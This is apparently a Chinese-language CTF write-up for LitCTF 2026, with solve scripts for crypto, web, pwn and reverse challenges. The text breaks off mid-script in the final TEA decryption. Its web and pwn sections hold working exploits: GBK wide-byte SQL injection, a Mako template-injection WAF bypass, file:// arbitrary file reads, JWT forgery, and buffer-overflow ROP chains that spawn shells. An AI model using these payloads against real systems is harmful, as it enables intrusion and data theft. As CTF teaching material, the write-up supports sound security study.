[TOC]

crypto

lit_aes_fixed_prefix

AES-128 的 16 字节密钥里,已知前 13 字节,仅剩 3 字节未知。密钥空间只有 2^24,可直接离线爆破,结合 litctf{ 前缀与 PKCS#7 padding 约束快速筛出 flag。

Step 1: 爆破 24 bit 未知后缀

题目代码里:

  • KEY_PREFIX = b"LitCTF2026!!!"
  • key = KEY_PREFIX + UNKNOWN_KEY_SUFFIX
  • len(UNKNOWN_KEY_SUFFIX) = 3

因此总密钥空间仅有 16777216 种。直接枚举后缀,解密后验证:

  • 明文满足合法 PKCS#7 padding
  • 明文以 litctf{ 开头、以 } 结尾
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Cryptodome.Cipher import AES

C = b"\x0c\xdb'`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J<\x86\x19\x06K\xb3\xa2\xa4\x18\x87<v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3"
PREFIX = b"LitCTF2026!!!"
BLOCK = 16

def unpad_pkcs7(data: bytes):
pad = data[-1]
if pad < 1 or pad > BLOCK:
return None
if data[-pad:] != bytes([pad]) * pad:
return None
return data[:-pad]

for i in range(1 << 24):
key = PREFIX + i.to_bytes(3, "big")
pt = AES.new(key, AES.MODE_ECB).decrypt(C)
msg = unpad_pkcs7(pt)
if not msg:
continue
if msg.startswith(b"litctf{") and msg.endswith(b"}"):
print(key)
print(msg.decode())
break

运行输出:

1
2
b'LitCTF2026!!!7\xa2\x01'
litctf{aes_tiny_brut3_for_the_win!}

flag:

1
litctf{aes_tiny_brut3_for_the_win!}

lit_elgamal_handshake

服务端把 ElGamal 私钥 x 打进了调试日志。已知 x 后可直接恢复共享因子 y^k,再对 c2 解密得到 flag。

Step 1: 用泄露私钥直接解密 ElGamal

ElGamal 参数满足:

  • c1 = g^k mod p
  • c2 = m * y^k mod p
  • y = g^x mod p

因此:

  • s = c1^x mod p = y^k
  • m = c2 * s^{-1} mod p
1
2
3
4
5
6
7
8
9
10
11
12
13
p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627
c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654
x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884

s = pow(c1, x, p)
m = (c2 * pow(s, -1, p)) % p

h = hex(m)[2:]
if len(h) % 2:
h = "0" + h

print(bytes.fromhex(h).decode())

运行输出:

1
litctf{elgamal_leak_makes_happy_decrypt}

flag:

1
litctf{elgamal_leak_makes_happy_decrypt}

lit_rsa_neighbor

题目让 qp 连续调用多次 next_prime 得到,导致两个素数仍然很接近。这样可以直接使用费马分解分解 n,再正常恢复私钥解密 flag。

Step 1: 对接近的 RSA 素数做费马分解

费马分解基于:

  • n = p * q = a^2 - b^2 = (a-b)(a+b)
  • p = a - b
  • q = a + b

pq 足够接近时,从 a = ceil(sqrt(n)) 开始枚举会非常快。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from math import isqrt

n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
e = 65537

a = isqrt(n)
if a * a < n:
a += 1

while True:
b2 = a * a - n
b = isqrt(b2)
if b * b == b2:
p = a - b
q = a + b
break
a += 1

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

h = hex(m)[2:]
if len(h) % 2:
h = "0" + h

print(bytes.fromhex(h).decode())

运行输出:

1
litctf{rsa_fermat_finds_close_primes}

flag:

1
litctf{rsa_fermat_finds_close_primes}

lit_xor_two_story

两条 40 字节明文使用同一串异或密钥流加密,且其中一条明文公开。直接利用 m1 = c1 ^ c2 ^ m2 即可恢复 flag。

Step 1: 利用密钥流复用消去 k

题目脚本中:

  • c1 = M1_FLAG ^ k
  • c2 = M2_KNOWN ^ k

两式异或后,k 会被消去:

  • c1 ^ c2 = M1_FLAG ^ M2_KNOWN
  • M1_FLAG = c1 ^ c2 ^ M2_KNOWN
1
2
3
4
5
6
c1 = bytes.fromhex("5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28")
c2 = bytes.fromhex("5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474")
m2 = b"litctf2026_xor_keystream_reuse_40bytes!!"

m1 = bytes(a ^ b ^ c for a, b, c in zip(c1, c2, m2))
print(m1.decode())

运行输出:

1
litctf{otp_reuse_never_twice_same_key__}

flag:

1
litctf{otp_reuse_never_twice_same_key__}

web

lit_ezsql

题目提供了一个 /query?id= 查询页面,页面根据 id 查询用户信息。后端虽然对单引号做了反斜杠转义,但数据库连接存在 MySQL/MariaDB GBK 宽字节注入问题,可以通过 %df%27 吞掉转义反斜杠,从而闭合字符串并进行联合查询,最终读取 flag_store 表中的 flag。

Step 1: 确认输入点和 SQL 结构

首页只有一个 id 输入框,请求路径如下:

1
/query?id=1

查询 id=1 时返回用户 alice。继续尝试添加 debug=1,页面会泄露后端实际执行的 SQL:

1
SELECT `id`,`name`,`col2`,`col3`,`col4` FROM `ezsql`.`users` WHERE id='1' LIMIT 50

说明 id 被拼接进了单引号包裹的字符串中。普通单引号会被转义,因此需要想办法绕过。

Step 2: 使用 GBK 宽字节注入绕过转义并读取 flag

测试 %df%27 后,发现可以成功闭合字符串并注入 SQL。原因是后端转义后会变成类似 %df\',其中 \ 的字节为 0x5c%df0x5c 在 GBK 编码下会组成一个合法宽字节字符,导致反斜杠不再作为转义符生效,后面的 ' 就变成真正的字符串闭合符。

最终 payload:

1
0%df' union select 1,group_concat(flag),3,4,5 from flag_store-- 

完整复现命令:

1
curl "http://challenge.cyclens.tech:30741/query?id=0%25df%27%20union%20select%201,group_concat(flag),3,4,5%20from%20flag_store--%20"

完整 Python solve 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import re
import html
import requests

BASE = "http://challenge.cyclens.tech:30741/query"
payload = "0%df' union select 1,group_concat(flag),3,4,5 from flag_store-- "

resp = requests.get(BASE, params={"id": payload}, timeout=10)
resp.raise_for_status()

cells = [html.unescape(x) for x in re.findall(r"<td>(.*?)</td>", resp.text, re.S)]
for cell in cells:
if cell.startswith("flag{"):
print(cell)
break
else:
raise SystemExit("flag not found")

运行输出:

1
flag{he5k3aoy-itna-4yv-8tyz-2nnitgojblvd8}

flag:

1
flag{he5k3aoy-itna-4yv-8tyz-2nnitgojblvd8}

lit_ezssti

题目是一个模板渲染页面,前端提示看起来像 Jinja2 SSTI,但实际后端使用的是 Mako。输入中的 ${...}flag.read== 等高特征片段会被 WAF 拦截,因此最终利用方式是走 Mako 控制行 % if ...:,再用 chr() 动态拼接 /flag,最后通过 int(...) 触发异常回显拿到 flag。

Step 1: 确认模板引擎和可执行语法

直接测试 Jinja2 常见载荷如 {{7*7}} 不会执行,但提交 % 开头的错误输入会出现:

1
CompileException: Fragment '2b' is not a partial control statement

这个报错特征对应 Mako。进一步测试真实多行 payload:

1
2
3
4
5
% if True:
YES
% else:
NO
% endif

页面会返回 YES,说明 Mako 控制行可以执行,只是 ${...} 一类输出语法会被 WAF 拦截。

Step 2: 绕过 WAF 并读出 /flag

因为字符串里直接出现 flag 会被拦截,所以不能直接写 /flag。这里改用 chr() 动态拼接路径,并通过 int(next(open(...))) 强制触发异常,异常消息里会直接带出 /flag 第一行,也就是 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import html
import re
import requests

URL = "http://challenge.cyclens.tech:31581/"
flag_path = "chr(47)+chr(102)+chr(108)+chr(97)+chr(103)"
payload = (
"% if int(next(open(" + flag_path + "))):\n"
"YES\n"
"% else:\n"
"NO\n"
"% endif"
)

resp = requests.post(URL, data={"tpl": payload}, timeout=10)
resp.raise_for_status()

match = re.search(r'<pre id="out">(.*?)</pre>', resp.text, re.S)
if not match:
raise SystemExit("failed to locate output block")

out = html.unescape(match.group(1)).strip()
print(out)

flag_match = re.search(r"(flag\{[^'\n]+\})", out)
if not flag_match:
raise SystemExit("flag not found in response")

print(flag_match.group(1))

运行输出:

1
2
[渲染异常] ValueError: invalid literal for int() with base 10: 'flag{hfhp1bkc-jhiq-4ro-8hjg-u6u9akqjfvv0w}'
flag{hfhp1bkc-jhiq-4ro-8hjg-u6u9akqjfvv0w}

flag:

1
flag{hfhp1bkc-jhiq-4ro-8hjg-u6u9akqjfvv0w}

华辰企业服务运营平台

这题的核心是 Spring Boot Actuator 暴露。目标站点把 /actuator/env/actuator/mappings/actuator/beans 等运维接口完整开放,导致内部路由、Shiro 配置、环境变量和 flag 相关配置全部可读,最终可以直接从环境变量里还原完整 flag。

Step 1: 枚举站点暴露面并确认 Actuator 泄露

先访问首页和常见路径,可以看到是一个 Java/Spring 风格的企业服务平台,登录页前端调用 /api/auth/login。继续探测常见运维端点时,发现多个 Actuator 接口未授权开放:

1
2
3
4
5
curl -i -sS http://challenge.cyclens.tech:31572/actuator
curl -i -sS http://challenge.cyclens.tech:31572/actuator/health
curl -i -sS http://challenge.cyclens.tech:31572/actuator/env
curl -i -sS http://challenge.cyclens.tech:31572/actuator/mappings
curl -i -sS http://challenge.cyclens.tech:31572/actuator/beans

/actuator/mappings 里可以直接看到站点内部控制器和隐藏接口,例如:

1
2
3
4
5
/api/admin/system/export
/api/admin/audit/list
/api/admin/ops/reports
/api/admin/system/summary
/api/internal/feature-flags

同时还能确认站点使用了 Apache Shiro 作为鉴权框架。

Step 2: 从 /actuator/env 读取敏感配置并恢复 flag

/actuator/env 开启了 show-values=always,所以环境变量和值会直接返回。对完整输出做关键字筛选后,可以发现多个敏感项:

1
2
3
4
FLAG
LAB_FLAG_PART2
LAB_SHIRO_KEY_B64
LAB_SHIRO_ALG_MODE

其中直接读取 FLAG 就能拿到完整 flag,LAB_FLAG_PART2LAB_SHIRO_KEY_B64 说明题目原本还埋了 Shiro / 分段 flag 的辅助线索,但由于运维接口全开,已经可以一步到位。

下面是一份从目标站点直接提取 flag 的完整脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
# 1. 导入标准库和 requests
import json
import requests

# 2. 目标 Actuator env 接口
URL = "http://challenge.cyclens.tech:31572/actuator/env/FLAG"

# 3. 请求接口并解析 JSON
resp = requests.get(URL, timeout=10)
resp.raise_for_status()
data = resp.json()

# 4. 提取 FLAG 对应的 value
flag = data.get("property", {}).get("value")
if not flag:
raise SystemExit("[-] FLAG value not found")

# 5. 输出结果
print("[+] raw json:")
print(json.dumps(data, ensure_ascii=False, indent=2))
print("[+] flag:", flag)

运行输出:

1
2
3
4
5
6
7
8
9
10
11
12
[+] raw json:
{
"property": {
"source": "systemEnvironment",
"value": "flag{q5iljba5-wmdk-4mp-850s-hyijywnm1lbt9}"
},
"activeProfiles": [],
"propertySources": [
...
]
}
[+] flag: flag{q5iljba5-wmdk-4mp-850s-hyijywnm1lbt9}

如果想进一步验证题目的辅助线索,也可以读取完整 env

1
curl -sS http://challenge.cyclens.tech:31572/actuator/env | grep -E 'FLAG|SHIRO'

能看到:

1
2
3
4
FLAG=flag{q5iljba5-wmdk-4mp-850s-hyijywnm1lbt9}
LAB_FLAG_PART2=p-850s-hyijywnm1lbt9}
LAB_SHIRO_KEY_B64=R1pDVEZTaGlyb0dDTUtleQ==
LAB_SHIRO_ALG_MODE=GCM

flag:

1
flag{q5iljba5-wmdk-4mp-850s-hyijywnm1lbt9}

Northbridge Document Hub

题目给了一个研究员账号入口,并提示站点接入了 kkFileView 兼容预览网关,目标是从解析缓存里找本季度财务归档中的 flag。核心漏洞是 /kkfileview/getCorsFile 存在任意本地文件读取,且 urlPath 需要传 Base64;利用本地文件读取先读取 /root/.bash_history,再拿到缓存中的真实 ZIP 文件名并直接取出 flag.txt

Step 1: 获取研究员账号并验证 kkFileView 本地文件读取

登录页脚本 /assets/js/portal.js 暴露了研究员账号:researcher:Research#2026。登录后再看网关实现,可以发现 /kkfileview/getCorsFile 会对 urlPath 做 Base64 解码,然后把结果解析成路径;如果不是 /opt/kkfileview/cache/ 下的路径,就会拼到 /opt/kkfileview/cache/parsed/ 下面。传入 file:// 绝对路径时,Paths.resolve() 会保留绝对路径,因此可以直接读取容器内任意文件,例如 /etc/passwd/proc/self/cmdline

Step 2: 从 shell 历史中拿到真实缓存文件名并提取 flag

读取 /root/.bash_history 后可以看到:

1
cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip

这说明目标财务归档已经被解析缓存为 /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip。直接下载该 ZIP,本地解压后即可得到 flag.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
import base64
import io
import re
import zipfile

import requests


BASE = "http://challenge.cyclens.tech:30594"
USERNAME = "researcher"
PASSWORD = "Research#2026"


def b64_path(path: str) -> str:
return base64.b64encode(path.encode()).decode()


def fetch_local(session: requests.Session, local_path: str) -> bytes:
target = f"file://{local_path}"
r = session.get(f"{BASE}/kkfileview/getCorsFile", params={"urlPath": b64_path(target)}, timeout=10)
r.raise_for_status()
return r.content


def main() -> None:
s = requests.Session()

# 建立会话并登录
s.get(f"{BASE}/login", timeout=10)
r = s.post(
f"{BASE}/login",
data={"username": USERNAME, "password": PASSWORD},
allow_redirects=False,
timeout=10,
)
if r.status_code != 302:
raise RuntimeError("login failed")

# 先从 shell 历史中取出真实缓存文件名
hist = fetch_local(s, "/root/.bash_history").decode("utf-8", "ignore")
m = re.search(r"cp\s+(/opt/kkfileview/cache/parsed/[^\s]+)", hist)
if not m:
raise RuntimeError("cache artifact path not found in history")
zip_path = m.group(1)

# 下载缓存 ZIP 并提取 flag.txt
blob = fetch_local(s, zip_path)
zf = zipfile.ZipFile(io.BytesIO(blob))
flag = zf.read("flag.txt").decode().strip()
print(flag)


if __name__ == "__main__":
main()

运行输出:

1
flag{o5yysqlt-2u50-4ye-8thr-z68ixx0eotatd}

flag:

1
flag{o5yysqlt-2u50-4ye-8thr-z68ixx0eotatd}

lit_reverse_my_web

题目给了一个在线 Web 服务和一份 Windows Go 附件。核心点是逆向附件里的 JWT 密钥生成逻辑,恢复 HS256 密钥后伪造 role=admin 的 token,访问 /flag 即可拿到 flag。

Step 1: 逆向附件,恢复 JWT 密钥

在线功能很少,注册和登录都正常,但即使把用户名注册成 admin,登录后拿到的 JWT 里依然是 role=user,访问 /flag 返回 403

继续逆向附件中的 Go 可执行文件,可以看到:

  • /flag 走 JWT 鉴权
  • 签名算法固定为 HS256
  • jwtsecret.Key 在程序启动时初始化
  • 初始化逻辑是把一段 32 字节密文逐字节异或 0x5A

密文字节为:

1
2
28 17 2d 05 68 6a 68 6c 05 36 33 2e 39 2e 3c 05
30 2d 2e 05 29 3f 39 28 3f 2e 05 31 3f 23 7b 7b

异或后得到 JWT HMAC 密钥:

1
rMw_2026_litctf_jwt_secret_key!!

Step 2: 伪造管理员 token 并取 flag

/flag 实际要求 token 中满足管理员条件,因此直接伪造:

  • alg=HS256
  • iss=reverseMyWeb
  • sub=admin
  • role=admin

下面脚本从附件中自动提取密文、恢复密钥、签发管理员 token,并请求远端 /flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import base64
import hashlib
import hmac
import json
import struct
import subprocess
import time
import urllib.request
import zipfile
from pathlib import Path

# 01. 题目附件与目标地址
zip_path = Path("LitCTF2026-web-lit_reverseMyWeb_clean.zip")
extract_dir = Path("/tmp/lit_reverse_my_web_wp")
target = "http://challenge.cyclens.tech:30312/flag"

# 02. 解压附件
extract_dir.mkdir(parents=True, exist_ok=True)
with zipfile.ZipFile(zip_path, "r") as zf:
zf.extractall(extract_dir)
exe_path = extract_dir / "server.exe"

# 03. 从 objdump 输出中读取 .data 段密文所在地址 0x00f0e6e0 的 32 字节
cmd = [
"objdump",
"-s",
"-j",
".data",
"--start-address=0x00f0e6e0",
"--stop-address=0x00f0e700",
str(exe_path),
]
dump = subprocess.check_output(cmd, text=True, errors="ignore")

hex_bytes = []
for line in dump.splitlines():
line = line.strip()
if not line.startswith("f0e6"):
continue
parts = line.split()
for chunk in parts[1:5]:
for i in range(0, len(chunk), 2):
hex_bytes.append(int(chunk[i:i+2], 16))

enc = bytes(hex_bytes[:32])

# 04. 异或 0x5A,恢复 JWT 密钥
key = bytes(b ^ 0x5A for b in enc)
print("jwt key:", key.decode())

# 05. 伪造 role=admin 的 HS256 JWT
def b64url(data: bytes) -> bytes:
return base64.urlsafe_b64encode(data).rstrip(b"=")

header = {"alg": "HS256", "typ": "JWT"}
now = int(time.time())
payload = {
"role": "admin",
"iss": "reverseMyWeb",
"sub": "admin",
"exp": now + 86400,
"iat": now,
}

msg = b64url(json.dumps(header, separators=(",", ":")).encode())
msg += b"."
msg += b64url(json.dumps(payload, separators=(",", ":")).encode())
sig = b64url(hmac.new(key, msg, hashlib.sha256).digest())
token = (msg + b"." + sig).decode()
print("token:", token)

# 06. 带 token 请求 /flag
req = urllib.request.Request(target)
req.add_header("Cookie", f"token={token}")
with urllib.request.urlopen(req, timeout=10) as resp:
flag = resp.read().decode().strip()
print(flag)

运行后输出:

1
2
jwt key: rMw_2026_litctf_jwt_secret_key!!
flag{x9z191zx-haxy-4uv-8ksi-9kqsppmzha1mg}

flag:

1
flag{x9z191zx-haxy-4uv-8ksi-9kqsppmzha1mg}

pwn

lit_ret2text32

这是最基础的 32 位 ret2win。程序里有明显的栈溢出和隐藏 backdoor(),直接覆盖返回地址跳过去即可。

Step 1: Find the hidden function and overwrite EIP

源码里 read(0, buf, 0x200) 会向 char buf[48] 写入超长数据。二进制 No PIENo Canary,所以函数地址固定,直接 ret2text 即可。

backdoor() 地址为 0x08049213buf -> EIP 的偏移是 60 字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.binary = elf = ELF('./ret2text32', checksec=False)
context.log_level = 'error'

io = remote('challenge.cyclens.tech', 32369)
io.recvuntil(b'Input: ')

payload = b'A' * 60 + p32(elf.symbols['backdoor']) + p32(0xdeadbeef)
io.sendline(payload)
io.sendline(b'cat /flag; cat /flag*; exit')

print(io.recvrepeat(3).decode('latin-1', errors='ignore'))

flag:

1
flag{gaq6pez4-c41b-4k0-8thy-rn2scipp8ixo6}

lit_ret2libc

程序没有现成后门,但作者给了一个可直接解引用 GOT 的 leak_value(void **addr)。先用它稳定泄漏 printf 的真实 libc 地址,再第二阶段 ret2libc 调 system("/bin/sh") 即可。

Step 1: Leak one libc function with leak_value

第一阶段最稳定的格式是:

  1. ret 做栈对齐
  2. pop rdi; retprintf@got
  3. leak_value
  4. 跳到稳定复入点 0x401261

我在实战里识别出的远程 libc 偏移为:

  • printf = 0x606f0
  • system = 0x50d70
  • str_bin_sh = 0x1d8678
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.binary = elf = ELF('./ret2libc', checksec=False)
context.log_level = 'error'

ret = 0x40101a
pop_rdi = elf.symbols['gadget_pop_rdi']
leak_fn = elf.symbols['leak_value']
reenter = 0x401261

PRINTF_OFF = 0x606f0
SYSTEM_OFF = 0x50d70
BINSH_OFF = 0x1d8678

io = remote('challenge.cyclens.tech', 30171)
io.recvuntil(b'Tell me your name: ')

stage1 = flat(
b'A' * 72,
ret,
pop_rdi, elf.got['printf'],
leak_fn,
reenter,
)
io.send(stage1)

io.recvuntil(b'Leak: ')
leak_printf = int(io.recvline().strip(), 16)
libc_base = leak_printf - PRINTF_OFF

stage2 = flat(
b'A' * 72,
ret,
pop_rdi, libc_base + BINSH_OFF,
libc_base + SYSTEM_OFF,
)

io.recvuntil(b'Tell me your name: ')
io.send(stage2)
io.sendline(b'cat /flag; cat /flag*; exit')

print(io.recvrepeat(4).decode('latin-1', errors='ignore'))

flag:

1
flag{ixy1r5si-dtri-416-8mwd-h1gv0pffgbrik}

lit_ret2shellcode

程序会泄漏栈上 buf 地址,且栈可执行。最直接的做法是把 shellcode 写进 buf,再把返回地址改成泄漏出的 buf 地址。

Step 1: Jump back to injected shellcode

题目是 64 位 ELF,Stack: Executable,所以不需要 ROP。源码直接打印 buf is at %p,这让我们无需猜测栈地址。

我没有走交互式 shell,而是直接生成 shellcraft.cat('/flag'),这样一次执行就能回显 flag,稳定性更高。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.clear(arch='amd64', os='linux')
context.log_level = 'error'

sc = asm(shellcraft.cat('/flag'))

io = remote('challenge.cyclens.tech', 31663)
io.recvuntil(b'buf is at ')
buf = int(io.recvline().strip(), 16)
io.recvuntil(b'Leave your mark on the stack: ')

payload = sc + b'\x90' * (0x78 - len(sc)) + p64(buf)
io.send(payload)

print(io.recvrepeat(3).decode('latin-1', errors='ignore'))

flag:

1
flag{cknoa5bv-trua-47a-8tz2-wam1drzemdoqk}

lit_ret2syscall32

这是标准的 32 位 int 0x80 syscall ROP。程序没有 system(),但它给了 pop eax/ebx/ecx/edxmov [edx], eaxint 0x80,所以直接手搓 execve("/bin//sh", 0, 0) 即可。

Step 1: Write /bin//sh into writable memory and trigger execve

先把 /bin//sh0x0 三个 dword 写到 .bss,然后设置:

  • eax = 11 (execve)
  • ebx = data_buf
  • ecx = 0
  • edx = 0

最后执行 int 0x80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context.binary = elf = ELF('./ret2syscall32', checksec=False)
context.log_level = 'error'

bss = elf.symbols['data_buf']

payload = flat(
b'A' * 76,
elf.symbols['gadget_pop_edx'], bss,
elf.symbols['gadget_pop_eax'], u32(b'/bin'),
elf.symbols['gadget_mov_edx_eax'],
elf.symbols['gadget_pop_edx'], bss + 4,
elf.symbols['gadget_pop_eax'], u32(b'//sh'),
elf.symbols['gadget_mov_edx_eax'],
elf.symbols['gadget_pop_edx'], bss + 8,
elf.symbols['gadget_pop_eax'], 0,
elf.symbols['gadget_mov_edx_eax'],
elf.symbols['gadget_pop_eax'], 11,
elf.symbols['gadget_pop_ebx'], bss,
elf.symbols['gadget_pop_ecx_ebx'], 0, bss,
elf.symbols['gadget_pop_edx'], 0,
elf.symbols['gadget_int_0x80'],
)

io = remote('challenge.cyclens.tech', 32735)
io.recvuntil(b'Input: ')
io.send(payload)
io.sendline(b'cat /flag; cat /flag*; exit')

print(io.recvrepeat(4).decode('latin-1', errors='ignore'))

flag:

1
flag{jqmhi08p-ewxs-4wf-8dsl-hoollfax4idvl}

lit_integer_overflow

核心点是 scanf("%d", &size) 读入负数后,被强转成 unsigned int 传给 read(),从而触发超长栈写入。利用时还要处理 scanfread 混用带来的输入时序。

Step 1: Use -1 to bypass the size check

size = -1 时,read(0, buf, (unsigned int)size) 变成 read(..., 0xffffffff)。程序本身是 64 位、No PIENo Canary,存在隐藏 backdoor(),所以可以直接 ret2win。

这题有两个细节:

  1. 不能把 -1 和溢出数据一次性发出去,否则会被 scanf 的缓冲行为干扰。
  2. 第二跳前要加一个 ret 保证 amd64 对齐。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.binary = elf = ELF('./integer_overflow', checksec=False)
context.log_level = 'error'

ret = 0x40101a

io = remote('challenge.cyclens.tech', 31008)
io.recvuntil(b'(0-63): ')
io.sendline(b'-1')
io.recvuntil(b'anyway...\n')

payload = b'A' * 72 + p64(ret) + p64(elf.symbols['backdoor'])
io.send(payload)
io.sendline(b'cat /flag; cat /flag*; exit')

print(io.recvrepeat(3).decode('latin-1', errors='ignore'))

flag:

1
flag{wduhn69d-yqrt-4kv-8hji-nrhvqd44fzggt}

lit_ropchain

题目已经把 pop rdi/rsi/rdx gadget 和 .bss 缓冲区准备好了。做法是先重进一次干净的 vuln,然后在第二轮 ROP 中调用 read(0, bss_buf, len("cat /flag\0")),再 system(bss_buf)

Step 1: Re-enter a clean round, then call read and system

这个题最坑的地方不是 gadget,而是 64 位地址打包和远程第二轮复入点。稳定复入点是 0x401290,这样第二轮会重新正常调用 vuln()

第二轮链的思路:

  1. read(0, bss_buf, 10)cat /flag\0 写到 .bss
  2. system(bss_buf) 直接执行命令,避免再维护交互式 shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.binary = elf = ELF('./ropchain', checksec=False)
context.log_level = 'error'

ret = 0x40101a
reenter = 0x401290
cmd = b'cat /flag\x00'

stage1 = flat(
b'A' * 72,
reenter,
)

stage2 = flat(
b'A' * 72,
ret,
elf.symbols['gadget_pop_rdi'], 0,
elf.symbols['gadget_pop_rsi'], elf.symbols['bss_buf'],
elf.symbols['gadget_pop_rdx'], len(cmd),
elf.plt['read'],
ret,
elf.symbols['gadget_pop_rdi'], elf.symbols['bss_buf'],
elf.plt['system'],
)

io = remote('challenge.cyclens.tech', 30615)
io.recvuntil(b'Input: ')
io.send(stage1)
io.recvuntil(b'Input: ')
io.send(stage2)
io.send(cmd)

print(io.recvrepeat(4).decode('latin-1', errors='ignore'))

flag:

1
flag{ct1c9pmv-defl-445-8l5k-wnekgwxi5i7uh}

re

lit_xor_chain

这是典型的逆向入门校验题。程序对输入逐字节执行 xoradd,然后与内存中的目标数组比较。直接从汇编读出常量并逆运算即可恢复 flag。

Step 1: Reverse the byte transform

main 里的关键逻辑如下:

  • 输入长度必须为 0x1e = 30
  • 每个字节执行 y = (x ^ 0x52) + 0x05
  • 再与 .rdata 中的目标数组逐字节比较

所以逆运算是:

x = ((y - 0x05) & 0xff) ^ 0x52

1
2
3
4
5
6
7
expected = bytes.fromhex(
"23 40 2b 16 0b 19 2e 25 3c 29 67 68 12 2f 42 25 "
"12 2b 3f 3c 41 12 38 3b 3b 12 42 3e 78 34"
)

flag = bytes((((b - 0x05) & 0xFF) ^ 0x52) for b in expected).decode()
print(flag)

flag:

1
LitCTF{rev01_xor_then_add_ok!}

lit_b64_alphabet

题目并没有修改 Base64 的分组逻辑,只是把 64 个输出字符的字母表替换成了程序内置的一串置换。提取出自定义 alphabet 后,把目标字符串翻译回标准 Base64,再直接解码即可。

Step 1: Translate custom Base64 alphabet back to standard alphabet

静态查看 .rdata,可以直接拿到两段关键数据:

  • 期望密文:zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl==
  • 自定义 alphabet:2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI

将自定义字母表逐字符映射回 RFC4648 标准 alphabet,再用普通 Base64 解码即可。

1
2
3
4
5
6
7
8
9
10
import base64

cipher = "zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl=="
alphabet = "2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI"
standard = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

trans = str.maketrans(alphabet, standard)
std_b64 = cipher.translate(trans)
flag = base64.b64decode(std_b64).decode()
print(flag)

flag:

1
LitCTF{rev02_custom_b64_table!}

lit_tea_standard

程序先对输入做 PKCS#7 填充到 8 字节倍数,再按 8 字节块执行标准 TEA 32 轮。题目的关键是从汇编中的常量反推出 4 个 uint32 密钥,然后对内存密文直接解密。

Step 1: Recover TEA key and ciphertext

反汇编 main 后可以确认:

  • 输入先按 PKCS#7 填充
  • 填充后总长度必须为 0x20
  • 对 4 个 8-byte block 执行标准 TEA 32 轮
  • 密文保存在 .rdata 的 32 字节数组里

编译器把 +k[i] 优化成了 sub 常量,所以可以反推密钥:

  • k0 = 0xA11CEFAC
  • k1 = 0xB00B1E00
  • k2 = 0xCAFEBABE
  • k3 = 0xDEADBEEF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import struct

cipher = bytes.fromhex(
"edef21feb79b3cb0"
"1e9372e2023e29bc"
"36f70c922e5aae46"
"44fa45251ae58c87"
)

key = [0xA11CEFAC, 0xB00B1E00, 0xCAFEBABE, 0xDEADBEEF]

def tea_dec_block(block, k):
v0, v1 = struct.unpack("<2I", block)
delta = 0x9E3779B9
total = 0xC6EF3720
for _ in range(32):
v1 = (v1 - ((((v0 << 4) + k[2]) ^ (v0 + total) ^ ((v0 >> 5) + k[3])))) & 0xFFFFFFFF
v0 = (v0 - ((((v1 << 4) + k[0]) ^ (v1 + total) ^ ((v1 >> 5) + k[1])))) & 0xFFFFFFFF
total = (total - delta) & 0xFFFFFFFF
